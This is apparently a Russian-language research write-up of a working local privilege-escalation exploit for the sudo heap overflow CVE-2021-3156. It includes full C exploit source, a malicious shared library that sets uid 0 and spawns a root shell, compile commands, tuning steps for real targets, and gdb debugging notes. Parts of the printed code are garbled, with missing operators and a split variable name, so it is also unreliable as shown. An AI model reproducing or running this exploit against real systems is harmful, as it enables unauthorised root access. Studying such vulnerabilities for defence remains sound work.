#define __LC_CTYPE 0 #define __LC_NUMERIC 1 #define __LC_TIME 2 #define __LC_COLLATE 3 #define __LC_MONETARY 4 #define __LC_MESSAGES 5 #define __LC_ALL 6 #define __LC_PAPER 7 #define __LC_NAME 8 #define __LC_ADDRESS 9 #define __LC_TELEPHONE 10 #define __LC_MEASUREMENT 11 #define __LC_IDENTIFICATION 12
char * envName[13]={"LC_CTYPE","LC_NUMERIC","LC_TIME","LC_COLLATE","LC_MONETARY","LC_MESSAGES","LC_ALL","LC_PAPER","LC_NAME","LC_ADDRESS","LC_TELE PHONE","LC_MEASUREMENT","LC_IDENTIFICATION"};
int now=13; int envnow=0; int argvnow=0; char * envp[0x300]; char * argv[0x300]; char * addChunk(int size) { now --; char * result; if(now ==6) { now --; } if(now>=0) { result=malloc(size+0x20); strcpy(result,envName[now]); strcat(result,"=C.UTF-8@"); for(int i=9;i<=size-0x17;i++) strcat(result,"A"); envp[envnow++]=result; } return result; }
void final() { now --; char * result; if(now ==6) { now --; } if(now>=0) { result=malloc(0x100); strcpy(result,envName[now]); strcat(result,"=xxxxxxxxxxxxxxxxxxxxx"); envp[envnow++]=result; } }
int setargv(int size,int offset) { size-=0x10; signed int x,y; signed int a=-3; signed int b=2size-3; signed int c=2size-2-offset2; signed int tmp=bb-4ac; if(tmp<0) return -1; tmp=(signed int)sqrt((double)tmp1.0); signed int A=(0-b+tmp)/(2a); signed int B=(0-b-tmp)/(2a); if(A<0 && B<0) return -1; if((A>0 && B<0) || (A<0 && B>0)) x=(A>0) ? A: B; if(A>0 && B > 0) x=(A<B) ? A : B; y=size-1-x2; int len=x+y+(x+y+y+1)*x/2;
while ((signed int)(offset-len)<2)
{
x--;
y=size-1-x*2;
len=x+y+(x+y+1)*x/2;
if(x<0)
return -1;
}
int envoff=offset-len-2+0x30;
printf("%d,%d,%d\n",x,y,len);
char * Astring=malloc(size);
int i=0;
for(i=0;i<y;i++)
Astring[i]='A';
Astring[i]='\x00';
argv[argvnow++]="sudoedit";
argv[argvnow++]="-s";
for (i=0;i<x;i++)
argv[argvnow++]="\\";
argv[argvnow++]=Astring;
argv[argvnow++]="\\";
argv[argvnow++]=NULL;
for(i=0;i<envoff;i++)
envp[envnow++]="\\";
envp[envnow++]="X/test";
return 0;
}
int main() { setargv(0xa0,0x650); addChunk(0x40); addChunk(0x40); addChunk(0xa0); addChunk(0x40); final();
execve("/usr/local/bin/sudoedit",argv,envp);
}
lib.c следующим образом:```c
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
static void __attribute__ ((constructor)) _init(void);
static void _init(void) {
printf("[+] bl1ng bl1ng! We got it!\n");
#ifndef BRUTE
setuid(0); seteuid(0); setgid(0); setegid(0);
static char *a_argv[] = { "sh", NULL };
static char *a_envp[] = { "PATH=/bin:/usr/bin:/sbin", NULL };
execv("/bin/sh", a_argv);
#endif
}
Команда компиляции:```sh mkdir libnss_X gcc -fPIC -shared lib.c -o ./libnss_X/test.so.2 gcc exp.c -o exp
Успех:
image-20220123115529219
### Методы изменения exp для конкретной среды
В основном для удобства собственного исследования и отладки, а не для реальной атаки. Для реальной атаки по-прежнему рекомендуется перебор, необходимо знать следующие моменты в зависимости от среды:
1. Контролируемый размер уязвимости, то есть free tcache, оставленный в setlocale, не будет израсходован до запроса уязвимости, необходимо найти подходящий размер (соответствует 0xa0 в моем exp)
2. Нужно определить, где расположить уязвимость, то есть сколько чанков 0x40 до vuln chunk и сколько после (соответствует нескольким функциям addChunk в моем exp в main).
3. Расстояние от target chunk до vuln chunk, то есть target chunk addr - vuln chunk addr (соответствует 0x650 в моем exp).
Изменение трех вышеуказанных пунктов с большой вероятностью приведет к успеху.
## Факторы, влияющие на эксплуатацию уязвимости
Факторов, влияющих на раскладку кучи, очень много: для одной и той же версии sudo разные параметры компиляции приводят к изменению раскладки кучи (если до переполнения добавить или удалить функции, участвующие в выделении кучи, с очень высокой вероятностью раскладка изменится).
Раскладка кучи sudo в дистрибутиве и собранной вручную версии различаются.
Различия в глобальном конфигурационном файле sudo также влияют.
Общие файлы, такие как passwd, также влияют.
Различия в файле nsswitch.conf влияют.
Версия glibc
Другие глобальные окружения (или файлы окружения)
## Меры по смягчению
Обновите до последней версии.
## Некоторые команды отладки```
watch rwatch awatch 内存断点
catch exec
set follow-exec-mode new 调试exp 的时候捕获子进程
Просмотр структуры service_table``` p service_table p * service_table p * service_table -> entry p * service_table -> entry -> next p * service_table -> entry -> next -> service ···
查看堆块溢出之后最早调用的nss 函数,先断住溢出处:```
b policy_check #先断离溢出点比较近的位置,直接断溢出点找不到
c
b sudoers.c:849 #malloc前
b sudoers.c:859 #溢出chunk 刚申请完毕
b sudoers.c:867 #溢出完成
c #断住之后再断nss_load_library
b nss_load_library
c #断nss_load_library
bt #查看调用栈
Некоторые ключевые функции и код вы``` directory /root/glibc-2.27/ directory /root/glibc-2.27/nss/ directory /root/glibc-2.27/elf/ directory /root/glibc-2.27/locale/
b setlocale b nss_parse_file b nss_load_library
## Ссылки
Блог внутреннего эксперта компании
52破解 блог: https://www.52pojie.cn/thread-1439734-1-1.html
blasty's POC: https://github.com/blasty/CVE-2021-3156